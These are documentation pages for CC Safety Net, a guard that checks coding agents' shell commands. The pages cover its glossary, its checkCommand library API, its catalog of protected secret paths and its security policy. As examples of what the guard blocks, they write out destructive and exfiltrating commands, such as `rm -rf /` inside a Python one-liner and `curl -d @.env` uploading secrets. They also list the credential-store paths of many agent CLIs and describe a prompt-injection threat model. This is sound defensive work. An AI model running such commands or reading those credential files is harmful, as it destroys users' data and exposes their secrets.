A shell command that wraps another command, such as `bash -c 'git reset --hard'`. CC Safety Net recursively analyzes wrapped commands up to 10 levels deep. See [Blocked commands](/docs/reference/blocked-commands#shell-wrappers-and-interpreter-one-liners). | | **Interpreter one-liner** | A command like `python -c 'import os; os.system("rm -rf /")'` that executes code inline. Detected and analyzed for dangerous patterns by default. See [Blocked commands](/docs/reference/blocked-commands#shell-wrappers-and-interpreter-one-liners). | | **Dynamic substitution** | A command value or structure that depends on runtime expansion, such as `$(...)`, `<(...)`, or `$VAR`. CC Safety Net handles dynamic substitution according to the command type and safety level. Some forms are allowed in standard and blocked when fail-closed behavior is active. See [Analysis engine](/docs/guides/analysis-engine). | ## Recursive removal and paths | Term | Definition | | --------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **CWD self-target** | An `rm -rf` target that resolves to the current working directory itself, for example `rm -rf .`. Blocked at every safety level. See [Blocked commands](/docs/reference/blocked-commands#filesystem-commands). | | **Effective cwd** | The working directory tracked across `cd` and `pushd` commands within a compound command. Used for `rm -rf` target classification and worktree detection. See [Analysis engine](/docs/guides/analysis-engine). | | **Within-cwd target** | A recursive forced removal target that resolves inside the current working directory. Allowed by default and blocked under paranoid `rm` mode. See [Allowed commands](/docs/reference/allowed-commands#filesystem-commands). | ## Modes | Term | Definition | | ----------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Strict mode** | The `strict` preset, which turns on the `fail_closed` capability so commands that cannot be safely analyzed are denied. Set `safety.level` in the policy file, or raise it with `CC_SAFETY_NET_STRICT=1`. See [Modes](/docs/configuration/modes). | | **Paranoid mode** | The `paranoid` preset, which adds the `paranoid_rm` and `paranoid_interpreters` capabilities on top of strict. Set `safety.level` in the policy file, or raise individual capabilities with `CC_SAFETY_NET_PARANOID`, `CC_SAFETY_NET_PARANOID_RM`, and `CC_SAFETY_NET_PARANOID_INTERPRETERS`. See [Modes](/docs/configuration/modes). | | **Worktree relaxation** | When worktree mode is on through `workflow.worktree_mode` in the policy file or `CC_SAFETY_NET_WORKTREE=1`, selected local Git discard commands are allowed inside confirmed linked Git worktrees. When CC Safety Net cannot verify the worktree, it does not apply the relaxation. See [Modes](/docs/configuration/modes#worktree-mode-cc_safety_net_worktree=1). | ## Rules | Term | Definition | | ----------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Rulebook** | A JSON file holding custom blocking rules, metadata, and optional fixtures. It is configured as a source in `rule.json` and lives at `rules//rulebook.json` under that scope's `.cc-safety-net` directory. The runtime reads it on every tool call, so a saved edit applies to the next command. Its `name` must match the source that lists it. Rulebook names are claimed globally across the user and project scopes. See [Custom rules](/docs/configuration/custom-rules). | | **Transparent wrapper** | A command declared in `rule.json` under `transparent_wrappers` that analysis looks through to reach the protected command it executes. Wrappers live in `rule.json` rather than in a rulebook, so a dropped rulebook keeps them but an unreadable `rule.json` loses that scope's wrappers. See [Custom rules](/docs/configuration/custom-rules). | | **Vendored rulebook** | The copy of a remote rulebook that `rule add` and `rule update` write into the consumer's own `rules//rulebook.json` after validating it. It is an ordinary file in the repository, so a person can read it and a diff shows what an update changed. Only `rule add` and `rule update` reach the network; the runtime reads the file. See [Custom rules](/docs/configuration/custom-rules). | Looking for the formal schemas for rulebooks, rules, and fixtures? See the [Custom rules](/docs/configuration/custom-rules) reference. See [Policy](/docs/configuration/policy) for the `policy.json` schema and [Explain trace](/docs/reference/explain-trace) for the JSON returned by `explain --json`. # Library API reference Source: https://ccsafetynet.com/docs/reference/library-api The cc-safety-net/api subpath export: the checkCommand function, its CheckCommandInput and CheckCommandResult types, the TypeError messages it throws, and what one call does and does not check. A Node.js host that needs an allow or deny decision inside its own process can call `checkCommand` instead of installing an agent integration. The function checks one shell command against the current policy and returns the decision. It never runs the command. This is one function, not a plugin framework. See [Integration architecture](/docs/guides/integration-architecture) for the integrations it can replace. ## Install and import ```bash theme={"dark"} npm install cc-safety-net ``` ```ts theme={"dark"} import { checkCommand } from 'cc-safety-net/api'; ``` The package exports the `cc-safety-net/api` subpath alongside its root export: ```json theme={"dark"} "./api": { "types": "./dist/api.d.ts", "import": "./dist/api.js" } ``` It requires Node.js 18 or later and ESM. The package is `"type": "module"` and there is no CommonJS build, so `require()` cannot resolve the subpath. ## `checkCommand` ```ts theme={"dark"} function checkCommand(input: CheckCommandInput): CheckCommandResult; ``` The call is synchronous. It reads local policy files, filesystem facts, and `CC_SAFETY_NET_*` environment settings, then returns an allow or a deny. ### Input ```ts theme={"dark"} type CheckCommandInput = Readonly<{ command: string; cwd: string; }>; ``` | Field | Type | Description | | --------- | -------- | ------------------------------------------------------------------------------------------------------------ | | `command` | `string` | The shell command text to check. Must be non-empty | | `cwd` | `string` | An absolute directory path. It anchors relative command targets and selects the project's rule configuration | `cwd` is required and has no default. The API never falls back to `process.cwd()`, so the host decides which project a command belongs to. ### Result ```ts theme={"dark"} type CheckCommandResult = | Readonly<{ kind: 'allow' }> | Readonly<{ kind: 'deny'; reason: string; ruleId?: string }>; ``` | Field | Presence | Description | | -------- | ------------------------ | ------------------------------------------ | | `kind` | always | `'allow'` or `'deny'` | | `reason` | deny only | The block message, as displayed to a user | | `ruleId` | deny with a matched rule | The id of the rule that produced the block | Read `kind` for the decision. A `deny` means the host must not execute the command. `reason` is display text. Do not parse or compare it, and treat `ruleId` as diagnostic data only. For what a deny can be, see [Blocked commands](/docs/reference/blocked-commands). ### Errors The function re-validates its input, because an untyped caller can pass anything TypeScript would reject. `checkCommand` throws `TypeError` with one of these messages: | Message | Condition | | ------------------------------------------------------------ | --------------------------------------------------- | | `checkCommand requires an input object with command and cwd` | `input` is not a non-null object | | `command must be a non-empty string` | `command` is not a string, or is blank | | `cwd must be an absolute directory path` | `cwd` is not a string, is blank, or is not absolute | `checkCommand` catches a known guard failure and returns its fail-closed deny instead, so that failure does not become a fail-open host mistake. Every other throw reaches the caller. If `checkCommand` throws, do not execute the command. A throw is not an allow. ### Unusable working directory `cwd` is normalized with `resolve()`, then checked. The path must stat as a directory and be readable and searchable. There is deliberately no `realpath` step, so the OpenCode plugin and this function decide alike for one directory. When that check fails, the call returns a deny with the fail-closed reason instead of analyzing the wrong project: ``` CC Safety Net failed closed because command analysis failed unexpectedly. This is not caused by your command. Report it to the user. ``` ## Example ```ts theme={"dark"} import { checkCommand } from 'cc-safety-net/api'; function canRun(command: string, cwd: string): boolean { try { const result = checkCommand({ command, cwd }); if (result.kind === 'allow') return true; console.error(result.reason); return false; } catch (error) { console.error('CC Safety Net could not check the command', error); return false; } } canRun('git status', process.cwd()); ``` ## What one call does The function builds a command tool invocation named `library-api`, with the shell set to `auto` and both the config and execution working directories set to the resolved `cwd`. It then evaluates the guard directly. Because it calls the guard rather than an agent integration, it never executes the command, writes an audit record, changes configuration, or makes a network request. It checks commands in full, including any secret-file access a command performs. It does not check the host's own non-shell file tools, such as read, write, edit, and search. ## Environment Every call reads the `CC_SAFETY_NET_*` settings from the process environment, so changing them changes later decisions. An invalid `CC_SAFETY_NET_LEVEL` is ignored and reported on stderr: ``` CC Safety Net: ignored invalid CC_SAFETY_NET_LEVEL="". Use standard, strict, paranoid. ``` The reported value is JSON-quoted and truncated to its first 40 characters. See [Environment variables](/docs/configuration/environment) for the full list. ## Related pages * [Environment variables](/docs/configuration/environment) documents every setting a call reads. * [Blocked commands](/docs/reference/blocked-commands) lists what a deny can be. * [Integration architecture](/docs/guides/integration-architecture) covers the agent integrations this function replaces when the host runs its own commands. # Secret protection reference Source: https://ccsafetynet.com/docs/reference/secret-protection Complete catalog of CC Safety Net's built-in secret-protection rules: sensitive basenames, protected home directories, key-file variants, credential extensions, the two coding CLI tiers, deny and allow paths, and every exemption. Secret protection blocks reads and writes of files that can contain credentials, such as SSH keys, `.env` files, cloud credential stores, and coding-agent authentication tokens. It runs before command analysis and applies at **every** safety level. It denies inputs that exceed structural analysis limits. This page lists every built-in rule id, its match, and its default state. Use it to find whether a path is protected and which rule id controls it. See [Policy](/docs/configuration/policy#secret-protection) for the `secret_protection` schema, [Architecture](/docs/guides/architecture#the-ordered-guard-stages) for the guard flow, and [Blocked commands](/docs/reference/blocked-commands#sensitive-paths) for command examples. There are **134 registered rules**. Most belong to generated families that share one id pattern, so the tables below list families with their id form rather than every id. Every rule is on by default except the eleven-rule [Coding CLI config tier](#coding-cli-config-tier-off-by-default). ## Where it runs Sensitive-path protection is a guard stage that runs **before** command analysis, across the supported **command**, **path**, **search** (grep/glob), and **patch** shapes. For a tool CC Safety Net does not recognize, it inspects both the command-candidate extraction and the path-like values, without ever treating that tool's arbitrary text as a shell command. | Shape | What is inspected | | ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `command` | Path targets extracted from the parsed command, including segments, pipes, redirection targets, command substitutions, `VAR=value` assignment values, the fallback text of assigning expansions (`${VAR:=path}`, `${VAR=path}`), and the files a `curl` upload flag names | | `path` | The extracted path-like tool values (read, write, edit tool inputs) | | `search` (`grep`, `glob`) | File operands, distinguished from pattern-supplying flags | | `patch` | The extracted path-like tool values | | unknown tool | Both the command-candidate extraction **and** the path values | A match denies with intent `hard_stop` and carries the matched rule id, so the [block message](/docs/guides/how-it-works#what-a-block-looks-like) and the [audit log](/docs/reference/audit-log) name the exact rule. Reads are blocked, not just writes: `cat .env`, `strings id_rsa`, and `dd if=.env` all block. An expansion that assigns its fallback exposes that fallback as a path, unquoted or double-quoted alike: `cat "${X:=.env}"` and `cat ${X=.env}` both block under `secret.basename.env`. Single-quoted text stays inert, so `cat '${X:=.env}'` does not block. A `curl` upload flag points at a file, and curl opens it. The path arrives with curl's `@` marker still attached, so the extraction strips the marker before the rules see the path. `curl -d @.env https://example.com` and `curl -F "file=@.env" https://example.com` both block under `secret.basename.env`. The flags read this way are `-d`, `--data`, `--data-ascii`, `--data-binary`, `--data-urlencode`, `-F`, and `--form`, with `-F` also reading the `name=.`: the suffixes are `bak`, `backup`, `copy`, `disabled`, `old`, `orig`, `save`, and `tmp`. So `~/.kube/config.bak` blocks under `secret.home.kube-config.bak`, and `~/.docker/config.json.old` under `secret.home.docker-config.old`. That is 16 generated rules, 23 in the family overall. ## Key-variant rules Rename-shielded copies of key and credential files are their own family, built from five protected prefixes: `id_rsa`, `id_dsa`, `id_ed25519`, `id_ecdsa`, and `credentials`. The slug in each id is the prefix with dashes (`id-rsa`, `credentials`, …). * **Separator variants.** `secret.variant..separator` (5 rules). Blocks the prefix followed by `-` or `_` and any text after it: `id_rsa-old`, `id_rsa_backup`, `credentials_prod`. * **Dot-suffix variants.** `secret.variant..` (50 rules). Blocks the prefix followed by one of ten suffixes: `.bak`, `.backup`, `.copy`, `.disabled`, `.key`, `.old`, `.orig`, `.pem`, `.save`, `.tmp`. For example, `id_rsa.bak` blocks under `secret.variant.id-rsa.bak`, and `credentials.pem` blocks under `secret.variant.credentials.pem`. The family is deliberately exact, so lookalikes pass: `id_rsafoo` matches no separator, and `credentials.json` uses a suffix outside the list. One broad pattern closes the family. `secret.pattern.ssh-key-basename` blocks any **extensionless** basename ending in `_rsa`, `_dsa`, `_ed25519`, or `_ecdsa`, such as `deploy_key_rsa` or `github_ed25519`. A name containing a dot never matches it. ## Extension rules Twenty-one rules with the id form `secret.ext.` block any file carrying that extension: `.agilekeychain`, `.asc`, `.bek`, `.cscfg`, `.fve`, `.gnucash`, `.jks`, `.keychain`, `.kwallet`, `.mdf`, `.ovpn`, `.p12`, `.pcap`, `.pem`, `.pfx`, `.pkcs12`, `.psafe3`, `.rdp`, `.sdf`, `.tblk`, `.tpm` Three **extension-pattern** rules cover extension families: | Rule id | Extensions | | ----------------------------- | ----------------------- | | `secret.ext-pattern.key` | `.key`, `.keypair` | | `secret.ext-pattern.keystore` | `.keystore`, `.keyring` | | `secret.ext-pattern.kdbx` | `.kdb`, `.kdbx` | An override must use the family id, `secret.ext-pattern.key`, not `secret.ext.keypair`. An id that is not registered is rejected with `unknown secret protection rule id ""`. ## Coding CLI credential tier (on by default) Ten rules protect the credential stores of supported coding agents. Like every other rule so far, they are on whenever secret protection is enabled. | Rule id | Protects | | ------------------------ | --------------------------------------------------------------------------------------------------------------------------------------- | | `secret.cli.claude-code` | `~/.claude/.credentials.json` | | `secret.cli.codex` | `~/.codex/auth.json`, `~/.codex/.credentials.json`, `~/.codex/secrets`, `~/.codex/.sandbox-secrets` | | `secret.cli.gemini` | `~/.gemini/oauth_creds.json`, `~/.gemini/mcp-oauth-tokens.json`, `~/.gemini/a2a-oauth-tokens.json`, `~/.gemini/gemini-credentials.json` | | `secret.cli.copilot-cli` | `~/.copilot/config.json`, `~/.copilot/mcp-oauth-config`, `~/.copilot/mcp-secrets` | | `secret.cli.kimi-code` | `~/.kimi-code/server.token`, `~/.kimi-code/credentials`, `~/.kimi/credentials`, `~/.kimi/mcp-oauth` | | `secret.cli.opencode` | `~/.local/share/opencode/auth.json`, `~/.local/share/opencode/mcp-auth.json`, `~/.local/share/opencode/opencode.db` | | `secret.cli.pi` | `~/.pi/agent/auth.json` | | `secret.cli.amp` | `~/.local/share/amp/secrets.json`, `~/.amp/oauth` | | `secret.cli.cursor` | `~/.cursor/auth.json`, `~/.config/cursor/auth.json`, `~/.cursor/projects//mcp-auth.json` | | `secret.cli.grok-build` | `~/.grok/auth.json`, `~/.grok/mcp_credentials.json` | Antigravity has no credential rule. Its only rule sits in the configuration tier below. ## Coding CLI config tier (off by default) Eleven rules cover the settings and MCP configuration files of the same agents. Those files can carry credentials inline, but agents also edit them as routine work, so this tier ships **off** and each rule needs an explicit `"on"` in [`secret_protection.overrides`](/docs/configuration/policy#rules-that-are-off-by-default) to activate. `` paths match at any repository root once the rule is on. | Rule id | Protects when enabled | | ------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `secret.cli.claude-code.config` | `~/.claude/settings.json`, `~/.claude/settings.local.json`, `~/.claude.json`, `/.claude/settings.local.json`, `/.mcp.json` | | `secret.cli.codex.config` | `~/.codex/config.toml`, `~/.codex/.config.toml` | | `secret.cli.gemini.config` | `~/.gemini/settings.json`, `~/.gemini/google_accounts.json`, `/.gemini/settings.json`, `/Library/Application Support/GeminiCli/settings.json`, `/etc/gemini-cli/settings.json` | | `secret.cli.copilot-cli.config` | `~/.copilot/mcp-config.json` | | `secret.cli.kimi-code.config` | `~/.kimi-code/config.toml`, `~/.kimi-code/mcp.json`, `~/.kimi/config.toml`, `~/.kimi/config.json`, `~/.kimi/config.json.bak`, `~/.kimi/mcp.json`, `/.kimi-code/mcp.json` | | `secret.cli.opencode.config` | `~/.config/opencode/opencode.json`, `~/.config/opencode/opencode.jsonc`, `/Library/Application Support/opencode/opencode.json`, `/etc/opencode/opencode.json`, `/opencode.json`, `/opencode.jsonc` | | `secret.cli.pi.config` | `~/.pi/agent/models.json` | | `secret.cli.amp.config` | `~/.config/amp/settings.json`, `~/.config/amp/settings.jsonc`, `/.amp/settings.json`, `/.amp/settings.jsonc` | | `secret.cli.cursor.config` | `~/.cursor/mcp.json`, `/.cursor/mcp.json` | | `secret.cli.grok-build.config` | `~/.grok/config.toml`, `~/.grok/managed_config.toml`, `~/.grok/requirements.toml`, `/.grok/config.toml`, `/etc/grok/managed_config.toml`, `/etc/grok/requirements.toml` | | `secret.cli.antigravity` | `~/.gemini/config/hooks.json`, `~/.gemini/config/mcp_config.json` | ## Deny paths [`secret_protection.deny_paths`](/docs/configuration/policy#deny-paths) adds your own protected locations. A hit is a hard stop attributed to `secret.deny-path`. This id is **not** registered, so no override can disable it, and none of the exemptions on this page apply. Deny paths stop applying only when `secret_protection.enabled` is `false`, which turns off the whole stage. See [Policy](/docs/configuration/policy#deny-paths) for accepted entry forms. ## Allow paths [`secret_protection.allow_paths`](/docs/configuration/policy#secret-allow-paths) exempts an exact file or directory tree from the built-in pattern rules. Deny paths still win, and `secret.cli.*` protections are never exempted. Entries are literal only. Targets and allow roots follow existing symlinks before comparison, while any effective root that covers home is refused and targets under the effective CC Safety Net configuration root remain protected. See [Policy](/docs/configuration/policy#secret-allow-paths) for the full validation table. ## Exemptions Three exemptions bound the rules above. None of them relax a configured deny path. * **Env templates.** The exact basenames `.env.example`, `.env.sample`, `.env.template`, and `.env.defaults`, plus any name starting with `.env.example.` or `.env.sample.`, are exempted before every built-in rule, even inside a protected home directory. The prefix form does not extend further: `.env.template.local` blocks under `secret.pattern.env-variant` like any other `.env.*` name. * **Public keys.** `id_rsa.pub`, `id_ed25519.pub`, and `id_ecdsa.pub` are non-secret and exempt, but only outside the protected home directories, which are checked first. `./id_rsa.pub` is allowed; `~/.ssh/id_rsa.pub` blocks under `secret.home.ssh`. * **Vendored directories.** When a path segment is `node_modules` or `__pycache__`, or the adjacent pair `vendor/bundle` or `vendor/cache` appears, exactly two families are suppressed: the extension rules and the broad `secret.pattern.ssh-key-basename` rule. Every other rule still applies. For example, `node_modules/x/.env` and `node_modules/x/id_rsa` block as usual. `.git` is not in the skip set. ## Configuration All configuration lives in [`policy.json`](/docs/configuration/policy#secret-protection): * `secret_protection.enabled: false` turns off the whole stage, including built-in rules and deny paths. * `secret_protection.overrides` sets per-rule state by registered id: `"off"` disables an on-by-default rule; `"on"` opts into a config-tier rule. * `secret_protection.deny_paths` adds your own protected locations. * `secret_protection.allow_paths` exempts exact files or directory trees from non-CLI built-in rules, after deny paths have been checked. Destructive-command [allow paths](/docs/guides/analysis-engine#recursive-delete-target-classification) and standard-mode allowances do not relax secret protection. Only `secret_protection.allow_paths` has the bounded effect described above. In [strict mode](/docs/configuration/modes#strict-mode-cc_safety_net_strict=1), metadata-only discovery of protected paths (`test -f ~/.ssh/id_rsa`, `find ~/.ssh -type f`, `ls -la ~/.ssh`, `stat .env`) is blocked as well. The [Dashboard](/docs/guides/dashboard#secret-protection) edits the same settings through a UI. Secret protection is a bounded pattern set, not a general read boundary. A credential in an unrecognized file is not protected. See [where CC Safety Net cannot help](/docs/guides/vs-sandboxing#where-cc-safety-net-cannot-help) for this boundary and [Known limitations](/docs/guides/known-limitations) for tier caveats. Secret **redaction** is a separate mechanism that scrubs credential values from logs and block messages. See the [Audit log reference](/docs/reference/audit-log#secret-redaction) and [Security model](/docs/guides/security-model#secret-redaction). # Security policy Source: https://ccsafetynet.com/docs/security How to report a security vulnerability in CC Safety Net, what counts as a security issue, supported versions, and response expectations. Security fixes are provided for the **latest published release** of `cc-safety-net`. If you use an older version, upgrade before you report an issue unless the vulnerability also affects the latest release. This page explains how to report an issue. For trust boundaries, fail-closed enforcement, and attack surface, see [Security model](/docs/guides/security-model). The canonical policy is [SECURITY.md](https://github.com/kenryu42/cc-safety-net/blob/main/SECURITY.md) in the source repository. A command that was not blocked is a **public** bug. Harmful behavior by CC Safety Net is a **private** vulnerability. If you are not sure which report you have, read [Choose a public or private report](#choose-a-public-or-private-report). If you still need to diagnose the behavior, start at [Troubleshooting](/docs/guides/troubleshooting). ## Report a vulnerability privately **Do not report security vulnerabilities in public GitHub issues.** Use GitHub private vulnerability reporting for the repository when available. If that is unavailable, email the maintainer at **[jliew@420024lab.com](mailto:jliew@420024lab.com)**. Include this information when it is safe to share: * The affected `cc-safety-net` version * Your operating system and runtime version * The affected integration, such as Claude Code, OpenCode, Gemini CLI, GitHub Copilot CLI, Grok Build, or Codex * Steps to reproduce, and the command or input that bypasses, weakens, or abuses CC Safety Net * Any relevant output from `cc-safety-net explain` or `cc-safety-net doctor` * Whether the issue can cause data loss, command execution, secret exposure, or another concrete security impact Redact tokens, credentials, private repository names, and sensitive file paths before sending logs or command output. `explain` and `doctor` output is **not** automatically safe to attach. Redaction covers recognized credential shapes only. The output includes the command text you supplied, its parsed tokens, absolute paths including your home directory, hostnames, and your configuration paths. Reproduce the issue with **placeholder credentials** and read the output before you send it. ## Choose a public or private report CC Safety Net stops agents from running destructive commands within the selected safety level's documented guarantees. A report that the tool failed to do that job is a **bug**, and it belongs in a public GitHub issue. The strict and paranoid threat model assumes that an attacker can emit any destructive command through prompt injection or adversarial context. Publishing "this command shape is not caught" does not give the attacker a new capability. It helps fix the gap faster and lets users add a custom rule as an immediate workaround. If the tool itself leaked a secret, wrote a file outside its own directory, or shipped a tampered package, report a **vulnerability**. The method that caused this harm may not be obvious, so report it privately. Use this dividing line: **did the tool fail to stop a destructive command, or did the tool itself cause the harm?** ## What counts as a security issue Report these privately: * Leakage of secrets through block messages, audit logs, diagnostics, debug output, or a false-positive report prefill, including a redaction bypass for a specific token format or a path the report preview claims to have replaced * A path traversal or filesystem issue in audit logging or configuration handling, where crafted input writes outside the intended directory * A supply-chain or packaging issue affecting the published npm package or plugin distribution, including rulebook integrity ## What belongs in public issues instead Use normal [GitHub issues](https://github.com/kenryu42/cc-safety-net/issues) for: * Any bypass or fail-open that lets a destructive command execute. This includes a coverage gap for a command the rules do not block yet, a parser, tokenizer, or wrapper-analysis edge case, or an analysis error that allows a command instead of blocking it. Report the command *shape*, not a ready-to-paste weaponized prompt-injection payload. * False positives where a safe command is blocked * Missing convenience rules or new feature requests * Documentation bugs * Installation problems without a security impact * Questions about custom rules or configuration Grok Build hooks are fail-open by design, and the host exposes no `failClosed` knob. Only an explicit deny on stdout blocks a tool call, so a hook that crashes, times out, or emits malformed output lets the call proceed. The adapter still emits an explicit deny for its own fail-closed outcomes, such as truncated tool input or an unusable working directory. A failure that leaves the adapter with no output at all does not block the call on this host. That is host behavior, not a coverage gap. A destructive-command coverage gap stays public even when it looks severe. It is not reclassified as a vulnerability. Use the private path only for the categories listed above. A command allowed under [standard mode's documented relaxations](/docs/guides/security-model#what-each-safety-level-guarantees) is not a gap. Standard is best-effort, while strict and paranoid fail closed on those forms. ## What happens after you report You should receive an initial response within **7 days**. The maintainer will work with you to confirm the impact, identify affected versions, prepare a fix, and coordinate disclosure. Give the maintainer reasonable time to investigate before you publish details. When a vulnerability is confirmed, the maintainer publishes a fix as soon as practical. The maintainer can also publish a GitHub security advisory or release note with appropriate credit unless you request otherwise. Do not disclose exploit details until a fixed version is available.